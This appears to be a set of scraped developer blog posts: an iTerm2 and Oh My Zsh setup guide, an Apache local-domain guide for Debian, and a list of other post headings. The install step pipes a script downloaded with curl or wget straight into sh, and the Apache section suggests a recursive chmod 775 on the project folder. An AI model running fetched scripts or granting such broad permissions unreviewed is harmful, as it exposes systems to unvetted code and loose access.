That is if you find my articles interesting and want more! (a really cold espresso is what kickstarts my whole day*)*

💸 We also provide Cool things for you, related to our articles in the Affiliate Section take a look! That's it for now! I really want to say thank you again I'll keep these posts coming. Happy hacking, and stay out of trouble! 🤓😏

iTerm2: your Mac's terminal, Upgraded!

Thanos Stantzouris — Sun, 17 Sep 2023 07:13:30 +0000

Hey there, tech-curious realmers! Ever stopped working for a mere second, gazed at your MacBook terminal, and thought, "I'm a kickass coder/hacker; why is my terminal such a peasant?" If that's a yes, then you've landed on the blog post set to turbocharge your MacBook's cool factor by +10 at least. 🚀

This guide will not only show you how to make your terminal look cool and all, but it will also show you how to evolve its actions to a new standard. Let's crank up our new terminal guide!

⼻ 1. iTerm2 installation

Introducing iTerm2, the self-proclaimed macOS terminal replacement! With that application installed, you will literally start feeling sad when you accidentally open the traditional macOS terminal!

But why, you asked? Here is a small list of my favorite iTerm2 features:

Split Panes: Divide a tab up (horizontally || vertically) into multiple panes, each one showing a different session.
Hotkey Window: Decide which keyboard combination you like the most to bring up a quick terminal and set it up.
🔎Search: A robust find-on-page feature. The UI stays out of the way. All matches are immediately highlighted. Even regular expression support is offered!
Configurability: A mind-boggling number of options lets you configure the terminal to suit you perfectly.

And that's just a few features that really stand out when I use iTerm on a day-to-day basis! The full feature list can be found here.

⼻ 2. Oh my Zsh! installation

Oh My Zsh' is an engaging, open-source framework steered by the community, designed for overseeing your Zsh setup. It is packed with countless beneficial functions, tools, plugins, themes, and several features that will certainly impress you...

Let's see how to get this bad boy up and running:

Open your new iTerm2 and choose an installation method.

Via cUrl

sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"

Via wget

sh -c "$(wget https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh -O -)"

Ain't that a beauty?

⼻ 3. Setup important key mappings

By now we have a newly upgraded terminal experience on our hands, but there is something very important missing. When you are a coder like me you are used to using the MacBook's keyboard mappings, my favorites are:

⌘ (command) + right/left: go to the end or the start of a command.
⌘(command) + ⌫ (delete): delete entire line.
⌥(option) + right/left: navigate command per word.
⌥(option) + ⌫ (delete): delete command per word.

First, we need to open up our iTerm2 settings: Profiles > Pick Profile (Default) > Edit Profiles > Keys > Key Mappings. You should be here:

To create a new key mapping or a preset we just have to click the (+) button next to the Presets and we get the following window pop:

Now all there's left to do is record our key combinations and let the terminal know what to trigger. Let's see all the aforementioned key mappings one by one.

Key Mapping: ⌘ + ⇨

Record the key mapping.
Click Action.
Search: Send Hex Code.
On the new input field put: 0x05.

Key Mapping: ⌘ + ⇦

Record the key mapping.
Click Action.
Search: Send Hex Code.
On the new input field put: 0x01.

Key Mapping: ⌘ + ⌫

Record the key mapping.
Click Action.
Search: Send Hex Code.
On the new input field put: 0x15.

Key Mapping: ⌥ + ⌫

Record the key mapping.
Click Action.
Search: Send Hex Code.
On the new input field put: 0x17.

Key Mapping: ⌥ + ⇨

Record the key mapping.
Click Action.
Search: Send Escape Sequence.
On the new input field put: f.

Key Mapping: ⌥ + ⇦

Record the key mapping.
Click Action.
Search: Send Escape Sequence.
On the new input field put: b.

⼻ 4. Setup Transparency and Colors

That's a personal setting that I like, it's just a small cosmetic change that takes the iTerm2 experience to a new level for me 🧐.

Transparency

Navigate to Profiles > Pick Profile (Default) > Edit Profiles > Window and make the following changes:

Transparency: 15 - 20 (make sure to enable 'use transparency').
Blur: 10 - 15.

I really love this change, it makes out iTerm2 window look a bit like a glass.

Colors

Navigate to Profiles > Pick Profile (Default) > Edit Profiles > Colors and make the following changes:

click Color Presets: Pastel ( Dark Background )

Your terminal should look something like this:

I haven't changed anything else at the moment, but by all means, feel free to change whatever color setting you want.
I mean... who doesn't want a terminal looking like Buggy the Clown?

Wrapping it up

With the tools and knowledge in your arsenal from this guide, the door to terminal experimentation is now wide open. It's exhilarating to see just how deep the rabbit hole of iTerm customization can go. My hope is that this article sparks an itch of curiosity within you. Don't just stop here; venture further, tweak more, and discover the full spectrum of personalization iTerm offers. Dive in, play around, and let your terminal truly be an extension of your coder/hacker persona. Here's to endless exploration and customization! 🍻

🚀 Spread the Love & Support the Realm

Hey there, fellow Realmer! If this guide illuminated a new path in your coder/hacker journey, your support would mean a lot. Every bit of magic helps

👑 Crown & Share: If you found value in this post, please give it a crown and share it with your fellow code/hacker enthusiasts. Spreading knowledge is what Sudorealm is all about! Fun fact the Author with the most crowns inside a realm will be crowned as the Realm King! 🤴

🛍 Affiliate Treasures Below: Dive into the depths below the post to uncover some affiliate products I've curated just for you. It's a great way to support the realm and discover some nerdy treasures.

🐦 Twitter/X Shoutout: Feeling extra grateful or have some cool feedback? Drop me a shoutout on Twitter – I'd love to hear from you!

☕️ Coffee Driven Development: Enjoyed the content? Help keep my coding sessions energized with a cuppa! BuyMeACoffee

Thanks for being a part of our realm. Every bit of support propels our community to new horizons. Until next time, keep exploring!

I am @d3ad R1nger, Creator of Sudorealm, thank you for reading.

Custom Local Development Domains with Apache on Debian-based Systems

Thanos Stantzouris — Tue, 29 Aug 2023 08:48:50 +0000

I recently took a leap into the vast expanse of Linux, specifically choosing Parrot OS for my coding endeavors in security and web app development. The journey, to be honest, hasn’t exactly been a breeze. But, oddly enough, I've found the challenges invigorating. Every hiccup and every roadblock has been an opportunity to dive deeper, understand the intricacies of the OS, and ultimately grow as a coder. This constant learning and tinkering is, after all, the essence of what makes a simple coder like me a better hacker!

In this continuous voyage of discovery, one area that stood out as crucial, especially for those involved in web app development, is the setting up of custom local development domains. These domains not only streamline the development process but also mirror real-world scenarios, helping coders to better emulate and understand the deployment environment. In this guide, I'll walk you through how to set up these custom domains using Apache on Debian-based systems, drawing from my recent adventures with Parrot OS.

What is a Local Domain?

Picture the vast Star Wars galaxy. Each planet, like Tatooine or Hoth, has a unique name so that pilots and navigators know where to go. Now, imagine your computer as a mini-galaxy. In this mini-galaxy, instead of planets, you have websites.

A local domain is like naming one of those websites with a Star Wars planet name. Instead of visiting "127.0.0.1/tatooine," you'd visit "tatooine.local" or "tatooine.test" on your browser, and it would take you to a website you're working on, right on your computer.

It's just a way to make navigation easier and more fun in your mini-galaxy of projects!

Why did I use it for?

Well, in Laravel development you are advised to run php artisan serve when you want to start developing your project, then you navigate to 127.0.0.1:8000 and there it is your precious little project.
First of all, I hate running an extra command just to run a website... That's it really... I despise this extra step. Local domains solve that problem of mine so... here we are.

彳1. Hosts File

The hosts file in Linux systems is a text file that maps hostnames to IP addresses, allowing computers to manually override DNS resolution for specific addresses. It's often used for local testing, development, or blocking certain websites. Located at /etc/hosts, users can add custom associations between hostnames and IP addresses, but caution is advised to prevent connectivity issues.
Open the hosts file with sudo nano /etc/hosts and at the end of the hosts file add the desired name of your project:

127.0.0.1    sudorealm.test

this configuration maps the domain sudorealm.test to your local machine (127.0.0.1).

彳2. Set up Apache configuration

Navigate to Apache's `sites-available` directory

cd /etc/apache2/sites-available/

Create a new configuration file for the project

sudo nano sudorealm.conf

<VirtualHost *:80>
    ServerName sudorealm.test
    DocumentRoot /path/to/your/whatever/project/public

    <Directory /path/to/your/whatever/project/public>
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
    </Directory>
</VirtualHost>

My project files are under the Code directory and I navigate to it with ~/Code/sudorealm/ but please keep in mind that the ~ is a shorthand for a user's home directory. In configuration files, especially server configurations like Apache's, it's best to use the absolute path. This is because the server might not understand or resolve the ~ shorthand in the same way a shell would. Apache doesn't interpret ~ as the home directory, so using it might lead to configuration errors.

And just to be clear, I tried it and it didn't work. 😄

💾 Save and close the file
Press CTRL + X to save then press Y to exit (in nano).

Enable the new configuration

sudo a2ensite sudorealm.conf

Ensure the `mod_rewrite` module is enabled

sudo a2enmod rewrite

Restart Apache

sudo systemctl restart apache2

Now if you've updated your /etc/hosts/ file appropriately and as mentioned, you should be able to access http://sudorealm.test in your browser.

Possible step: ⼻ No Permissions, Forbidden!

There are some times where you come across this pesky message while working on your local setup:

Forbidden
You don't have permission to access this resource.

Apache/2.4.56 (Debian) Server at sudorealm.test Port 80

No need for panic! 🚀 This usually indicates a permission issue. Here's a quick solution:

Assign Proper Ownership: Make sure your project and its sub-files are in the good hands of the web server user, which is commonly www-data on Debian-flavored systems.

sudo chown -R www-data:www-data /path/to/your/project/public

Set Read and Execute Permissions: It's equally important for the Apache user to have the right to read your Laravel project files and stroll through its directories.

sudo chown -R yourusername:www-data /home/yourusername/Code/projectFolder
sudo chmod -R 775 /home/yourusername/Code/projectFolder

Give Apache a Gentle Nudge: Lastly, remember to refresh Apache's memory to ensure it's up-to-date with these changes.

Possible step: ⼻ Wrong php version on Composer!

Since I am using Laravel I got the following message:

Composer detected issues in your platform: Your Composer dependencies require a PHP version ">= 8.1.0"

If you face this, even after confirming the correct PHP version using the php -v command, it means that Apache is still referencing the outdated PHP version. But not to worry, this can be easily rectified!
Here's a step-by-step to align Apache with the desired PHP version:

sudo a2dismod php7.4
sudo a2enmod php8.1
sudo service apache2 restart

With these commands, Apache is set to use PHP 8.1, ensuring smoother development experiences with php8.1.

😎 Hacking story.

The Stage:
Marla, our InstaGlam diva, was living her best online life. Filters, fans, and fabulousness – she had it all.

The Sneaky Deed:
Find out in the Sudorealm Post😎

🚀 Spread the Love & Support the Realm

Hey there, fellow Realmer! If this guide illuminated a new path in your Linux/hacker journey, your support would mean a lot. Every bit of magic helps

👑 Crown & Share: If you found value in this post, please give it a crown and share it with your fellow code enthusiasts. Spreading knowledge is what Sudorealm is all about! Fun fact the Author with the most crowns inside a realm will be crowned as the Realm King! 🤴

🛍 Affiliate Treasures Below: Dive into the depths below the post in sudorealm.com to uncover some affiliate products I've curated just for you. It's a great way to support the realm and discover some nerdy treasures.

🐦 Twitter/X Shoutout: Feeling extra grateful or have some cool feedback? Drop me a shoutout on Twitter – I'd love to hear from you!

☕️ Coffee Driven Development: Enjoyed the content? Help keep my coding sessions energized with a cuppa! BuyMeACoffee

Thanks for being a part of our realm. Every bit of support propels our community to new horizons. Until next time, keep exploring!

I am @d3ad R1nger, Creator of Sudorealm, thank you for reading.

DEV Community: Thanos Stantzouris

Late Night Refactors #2: Controller to Livewire Components

PostShowComponent

Refactor Result

Blog Index Pages

Refactor Result

Finishing Up

Late Night Refactors #1: Composer Packages

Ready! Set! Go! 💥

Laravel Upgrade

How it went

Keeping Code Consistent with Pint

What is Pint?

Installation

Inspecting code

Setup

Styling Code

Why do I use Pint in my project?

Automating Code Upgrades with Rector

What is Rector?

Installation

Setup

Why Use Rector in My Project?

Making Sure It All Works with Larastan

Installation

Setup

Why Use Larastan in My Project?

Rector and Larastan - B.F.Fs.

From Static Analysis to Real-World Testing

Pest

Installation

Why Choose Pest over PHPUnit

Conclusion

🚀 Spread the Love & Support the Realm

Spread the Love

Using Tiptap Rich Text Editor with Livewire

Table of contents

What we are building

Introduction to Tiptap

Install Tiptap

Livewire integration

Step 1: Create the Livewire Component

Step 2: Setup the Livewire Component

Setup the Blade Component

Markdown support

Toolbar Work and Customization

Styling the Editor with Tailwind CSS

Editor Commands for Text Formatting

Link Support

Conclusion

PHP Secure Coding: Don't Let the Code Get Loose

Table of contents

PHP Loose Comparison

Vulnerable Scenarios

The insecure login system

The insecure authorization with a twist

Mitigating the loose comparison bug

Conclusion

About Me

How to Build a Robust Web Scraper with Laravel: and Catch 'Em All

Table of Contents for the impatient reader

Introducing spatie/crawler

Installation

Scraper setup

Calling the scraper and displaying results

Extracting Pokemon Generations from Bulbapedia

⼻First Step: Fetch the entire Generations data

Creating a Crawler Instance

Extracting Specific Data

⼻Second Step: Create a Collection with the data of each Pokemon

Wrapping up and Future Challenges

Grab the Project Repo

Simplify Your Browsing: Open Firefox URLs with Aliases in Terminal

⼻ Open up terminal

⼻ Check Firefox installation

⼻ Edit .bashrc or .zshrc

⼻ Playing around

Getting fancy with it

Conclusions and Thoughts

🚀 Spread the Love & Support the Realm

⼻ Edit `.bashrc` or `.zshrc`

Navigate to Apache's `sites-available` directory

Ensure the `mod_rewrite` module is enabled